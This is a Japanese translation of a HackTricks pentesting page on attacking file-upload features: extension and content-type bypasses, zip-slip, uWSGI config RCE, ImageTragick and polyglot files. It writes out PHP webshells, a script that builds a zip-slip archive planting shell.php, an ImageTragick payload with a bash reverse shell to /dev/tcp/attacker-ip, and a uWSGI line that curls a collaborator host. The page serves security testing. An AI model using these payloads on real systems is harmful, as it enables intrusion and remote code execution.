hacktricks/pentesting-web/file-upload
2024-04-17 05:41:53 +00:00
..
pdf-upload-xxe-and-cors-bypass.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
README.md Translated ['binary-exploitation/basic-binary-exploitation-methodology/t 2024-04-17 05:41:53 +00:00

ファイルアップロード

htARTEHackTricks AWS Red Team Expert でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法

ハッキングキャリアに興味がある方や、解読不能なものをハックしたい方 - 採用中です!流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

ファイルアップロード一般的な方法論

他の便利な拡張機能:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • PHPv8で動作: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

ファイル拡張子チェックのバイパス

  1. 適用されている場合は、前の拡張子チェックしてください。いくつかの大文字を使用してテストしてください:pHp, .pHP5, .PhAr ...
  2. 実行拡張子の前に有効な拡張子を追加することをチェックしてください(前の拡張子も使用してください):
  • file.png.php
  • file.png.Php5
  1. 最後に特殊文字を追加してみてください。Burpを使用してすべてのasciiおよびUnicode文字をブルートフォースすることができます。 (以前に言及された拡張子も使用できます)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. サーバーサイドの拡張子パーサーをだまして拡張子を****2重化したり、ジャンクデータ(ヌルバイト)を追加するなどのテクニックを使用して、保護をバイパスしてみてください。以前の拡張子を使用して、より良いペイロードを準備することもできます)
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. 前のチェックに別の拡張子の層を追加してください:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. 有効な拡張子の前に実行拡張子を置いて、サーバーが誤って構成されていることを祈ってください。 Apacheの誤構成を悪用するのに便利で、拡張子が**.phpで終わらないが.php**で始まるものはコードを実行します):
  • 例: file.php.png
  1. WindowsNTFS代替データストリームADSを使用します。この場合、禁止された拡張子の後にコロン文字「:」が挿入され、許可された拡張子の前に空のファイルが作成されます「file.asax:.jpg」。このファイルは後で他のテクニックを使用して編集できる場合があります。たとえば、短いファイル名を使用することができます。 「::$data」パターンも使用して、空でないファイルを作成することができます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つかもしれません「file.asp::$data.」)
  2. ファイル名の制限を破るようにしてみてください。有効な拡張子が切り捨てられ、悪意のあるPHPが残されます。AAA<--SNIP-->AAA.php
# Linux 最大 255 バイト
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで 4 を引いて .png を追加
# ファイルをアップロードして、許容される文字数を確認します。たとえば、236 とします
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# ペイロードを作成します
AAA<--SNIP 232 A-->AAA.php.png

コンテンツタイプ、マジックナンバー、圧縮、リサイズのバイパス

  • Content-Type チェックをバイパスするには、Content-Type ヘッダー を以下に設定します: image/png , text/plain , application/octet-stream
  1. Content-Type ワードリスト: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
  • マジックナンバー チェックをバイパスするには、ファイルの先頭に 実際の画像のバイト を追加します(file コマンドを混乱させる)。または メタデータ にシェルを導入します:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ または画像に ペイロードを直接導入 することもできます:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • 画像に 圧縮が追加されている 場合、例えば PHP-GD のような標準の PHP ライブラリを使用している場合、前述のテクニックは役立ちません。ただし、PLTEチャンク こちらで定義されたテクニック を使用して、圧縮を生き残る テキストを挿入することができます。
  • コードのGithub
  • ウェブページが 画像をリサイズ している場合、たとえば PHP-GD 関数 imagecopyresized または imagecopyresampled を使用している場合、IDATチャンク こちらで定義されたテクニック を使用して、圧縮を生き残る テキストを挿入することができます。
  • コードのGithub
  • 画像のリサイズを生き残るペイロード を作成する別のテクニックとして、PHP-GD 関数 thumbnailImage を使用することができます。ただし、tEXtチャンク こちらで定義されたテクニック を使用して、圧縮を生き残る テキストを挿入することができます。
  • コードのGithub

その他のチェックトリック

  • アップロード済みのファイルの 名前を変更 する脆弱性を見つける(拡張子を変更する)。
  • バックドアを実行するための ローカルファイルインクルージョン 脆弱性を見つける。
  • 可能な情報漏洩:
  1. 同じ名前同じファイル複数回(かつ 同時に)アップロードする
  2. 既に存在する ファイルフォルダ名前 を持つファイルをアップロードする
  3. 名前が “.”, “..”, または “…” であるファイルをアップロードする。たとえば、Apache の Windows では、アプリケーションがアップロードされたファイルを “/www/uploads/” ディレクトリに保存する場合、ファイル名が “.” の場合、 “/www/” ディレクトリに “uploads” というファイルが作成されます。
  4. NTFS で削除が容易でないファイルをアップロードする、例えば “…:.jpg”Windows
  5. 名前に |<>*?” のような 無効な文字 を含むファイルを Windows にアップロードするWindows
  6. CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9 のような 予約済み禁止 名前 を使用して Windows にファイルをアップロードする。
  • 実行可能ファイル(.exeまたは誤って開かれた場合にコードを実行する可能性のある .html(疑わしくない)をアップロードしようとしてみてください。

特別な拡張子のトリック

PHPサーバー にファイルをアップロードしようとしている場合は、.htaccess トリックでコードを実行する方法 をご覧ください。
ASPサーバー にファイルをアップロードしようとしている場合は、.config トリックでコードを実行する方法 をご覧ください。

.phar ファイルは、Java の .jar のようなものですが、PHP 用であり、PHP で実行したり、スクリプト内に含めたりすることができます...

.inc 拡張子は、ファイルを インポート するためだけに使用される PHP ファイルに対して使用されることがあり、ある時点で、誰かが この拡張子を実行可能に許可 している可能性があります。

Jetty RCE

JettyサーバーにXMLファイルをアップロードできる場合、新しい *.xml および *.war は自動的に処理される ため、RCE を取得できます したがって、次の画像に示すように、XMLファイルを $JETTY_BASE/webapps/ にアップロードしてシェルを期待してください!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

この脆弱性の詳細な調査については、元の研究をご覧ください: uWSGI RCE Exploitation

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

ペイロードの実行は、構成ファイルの解析中に発生します。構成を有効化および解析するためには、uWSGIプロセスを再起動するかクラッシュ後またはDoS攻撃の結果として、またはファイルを自動リロードに設定する必要があります。自動リロード機能が有効になっている場合、変更を検出すると指定された間隔でファイルを再読み込みします。

uWSGIの構成ファイルの解析の寛容な性質を理解することが重要です。具体的には、議論されているペイロードは、バイナリファイル画像やPDFなどに挿入することができ、潜在的な悪用の範囲をさらに広げることができます。

wgetファイルアップロード/SSRFトリック

場合によっては、サーバーが**wgetを使用してファイルをダウンロードし、URL指定できることがあります。これらの場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあることを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、このチェックをバイパスすることができます。
Linux
ファイル名最大長は255ですが、wgetはファイル名を236文字に切り詰めます。"A"*232+".php"+".gif"という名前のファイルをダウンロードできます。このファイル名はチェックをバイパスします(この例では".gif"有効な拡張子であるため)、しかしwgetはファイルを"A"*232+".php"リネーム**します。

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

別のオプションとして、このチェックをバイパスするために考えているかもしれないのは、HTTPサーバーを別のファイルにリダイレクトさせることです。そのため、初期URLはチェックをバイパスしますが、その後wgetが新しい名前でリダイレクトされたファイルをダウンロードします。これは、wgetが--trust-server-namesパラメータとともに使用されている場合にのみ機能します。なぜなら、wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロードするからです。

ツール

  • Upload Bypass は、ファイルアップロードメカニズムのテストを支援するために設計された強力なツールです。さまざまなバグバウンティテクニックを活用して、Webアプリケーションの包括的な評価を確実にすることで、脆弱性の特定と悪用のプロセスを簡素化します。

ファイルアップロードから他の脆弱性へ

  • ファイル名../../../tmp/lol.pngに設定して、パストラバーサルを試みる
  • ファイル名sleep(10)-- -.jpgに設定して、SQLインジェクションを達成する可能性があります
  • ファイル名<svg onload=alert(document.domain)>に設定して、XSSを達成する
  • ファイル名; sleep 10;に設定して、いくつかのコマンドインジェクションをテストする(詳細はこちら
  • 画像svgファイルの中のXSS
  • JSファイルのアップロード + XSS = Service Workersの悪用
  • svgアップロードにおけるXXE
  • SVGファイルのアップロードによるオープンリダイレクト
  • https://github.com/allanlw/svg-cheatsheetからさまざまなsvgペイロードを試してみてください
  • 有名なImageTrick脆弱性
  • Webサーバーに画像を取得するよう指示できる場合、SSRFを悪用してみてください。この画像公開サイトに保存される場合、https://iplogger.org/invisible/からのURLを指定して、すべての訪問者の情報を盗むこともできます。
  • PDF-AdobeアップロードによるXXEとCORSバイパス
  • 特に作成されたPDFをXSSに: 次のページでは、PDFデータを注入してJSの実行を取得する方法が示されています。PDFをアップロードできる場合は、指示に従って任意のJSを実行するPDFを準備することができます。
  • [eicar](https://secure.eicar.org/eicar.com.txt)のコンテンツをアップロードして、サーバーにアンチウイルスがあるかどうかを確認します
  • ファイルをアップロードする際のサイズ制限があるかどうかを確認します

以下は、アップロードによって達成できるトップ10のことですこちらから):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp拡張機能

{% embed url="https://github.com/portswigger/upload-scanner" %}

マジックヘッダーバイト

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

他のファイルタイプについては、https://en.wikipedia.org/wiki/List_of_file_signaturesを参照してください。

ZIP/Tarファイルの自動解凍アップロード

サーバー内で解凍されるZIPをアップロードできる場合、次の2つのことができます

シンボリックリンク

他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることで、リンクされたファイルにアクセスできます:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

異なるフォルダーに解凍

解凍中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。悪意のあるファイルのアップロードを通じたOSレベルのコマンド実行を防ぐと考えられていたにもかかわらず、ZIPアーカイブ形式の階層圧縮サポートとディレクトリトラバーサル機能を悪用することができます。これにより、攻撃者は対象アプリケーションの解凍機能を操作して、制限を回避し、安全なアップロードディレクトリから脱出することが可能となります。

このようなファイルを作成するための自動化されたエクスプロイトは、GitHubのevilarcで利用可能です。このユーティリティは次のように使用できます:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

さらに、evilarcを使用したsymlinkトリックもオプションです。/flag.txtのようなファイルをターゲットにする場合、そのファイルへのsymlinkをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないことが保証されます。

以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

ファイルスプレーのための圧縮の乱用

詳細については、元の投稿を参照してください: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. PHPシェルの作成: PHPコードは、$_REQUEST変数を介して渡されたコマンドを実行するために書かれています。
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. ファイルスプレーと圧縮ファイルの作成: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. ヘックスエディタまたはviを使用した変更: zip内のファイル名を変更し、viまたはヘックスエディタを使用して、"xxA"をディレクトリを横断するために"../"に変更します。
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

このコンテンツを画像拡張子付きでアップロードして脆弱性を悪用します (ImageMagick、7.0.1-1) (exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNGにPHPシェルを埋め込む

PNGファイルのIDATチャンクにPHPシェルを埋め込むことは、特定の画像処理操作を効果的にバイパスすることができます。PHP-GDのimagecopyresizedおよびimagecopyresampled関数は、画像のリサイズやリサンプリングに一般的に使用されるため、この文脈で特に関連があります。埋め込まれたPHPシェルがこれらの操作に影響を受けない能力は、特定のユースケースにおいて重要な利点です。

この技術の詳細な探求、方法論、および潜在的な応用については、次の記事で提供されています:"PNG IDATチャンクにWebシェルをエンコードする"。このリソースは、プロセスとその影響について包括的な理解を提供しています。

詳細はこちら:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

ポリグロットファイル

ポリグロットファイルは、サイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式で同時に有効に存在できるカメレオンとして機能します。興味深い例として、GIFARがあります。これはGIFとRARアーカイブの両方として機能するハイブリッドです。このようなファイルはこのペアリングに限定されず、GIFとJSやPPTとJSなどの組み合わせも可能です。

ポリグロットファイルの主な利点は、ファイルの種類に基づいてファイルをスクリーニングするセキュリティ対策を回避する能力にあります。さまざまなアプリケーションでの一般的な慣行は、JPEG、GIF、またはDOCなどの特定のファイル形式のみをアップロード可能とし、潜在的に有害な形式JS、PHP、またはPharファイルによるリスクを軽減することです。しかし、ポリグロットは、複数のファイル形式の構造基準に準拠することで、これらの制限を巧妙にバイパスすることができます。

ポリグロットは適応性がある一方で、制限に遭遇することもあります。たとえば、ポリグロットがPHARファイルPHp ARchiveとJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張ポリシーにかかってくるかもしれません。システムが許容可能な拡張子に厳格である場合、単なる構造的な二重性だけではアップロードが保証されないかもしれません。

詳細はこちら:https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

参考文献

ハッキングキャリアに興味があり、解読不能なものを解読する - 採用中です!流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学ぶ こちら

HackTricksをサポートする他の方法